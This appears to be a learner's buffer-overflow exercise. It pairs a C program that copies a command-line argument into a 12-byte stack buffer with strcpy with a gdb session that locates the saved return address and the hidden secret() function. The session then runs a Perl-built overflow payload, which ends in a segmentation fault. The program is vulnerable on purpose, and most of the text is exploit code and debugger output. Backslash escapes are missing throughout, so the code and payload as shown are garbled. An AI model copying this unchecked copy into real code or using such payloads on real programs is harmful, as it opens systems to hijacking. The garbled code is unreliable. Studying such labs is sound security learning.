#include <stdio.h>
#include <string.h>
#include <unistd.h>

void public(char *args) {
    char buff[12];
    memset(buff, 'B', sizeof(buff));

    strcpy(buff, args);
    printf("nbuff: [%s] (%p)(%d)nn", &buff, buff, sizeof(buff));
}

void secret(void) {
    printf("SECRETn");
    exit(0);
}

int main(int argc, char *argv[]) {
    int uid;
    uid = getuid();

    // Only when the user is root
    if (uid == 0)
        secret();

    if (argc > 1) {
        public(argv[1]);
    }
    else
        printf("Kein Argument!n");
}

(gdb) info frame 0
Stack frame at 0xffffd2f0:
 eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c
 called by frame at 0xffffd330
 source language c.
 Arglist at 0xffffd2e8, args: args=0xffffd575 "A"
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
  ebp at 0xffffd2e8, eip at 0xffffd2ec

(gdb) print secret
$2 = {void (void)} 0x804852f <secret>

(gdb) print/x &buff
$4 = 0xffffd2d4

(gdb) run `perl -e '{print "A"x24; print "xecd2ffff"; }'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print "A"x24; print "xecd2ffff"; }'`

buff: [AAAAAAAAAAAAAAAAAAAAAAAA�d2
                                  f
                                   f] (0xffffd2b4)(12)


Program received signal SIGSEGV, Segmentation fault.
0x0c3264ec in ?? ()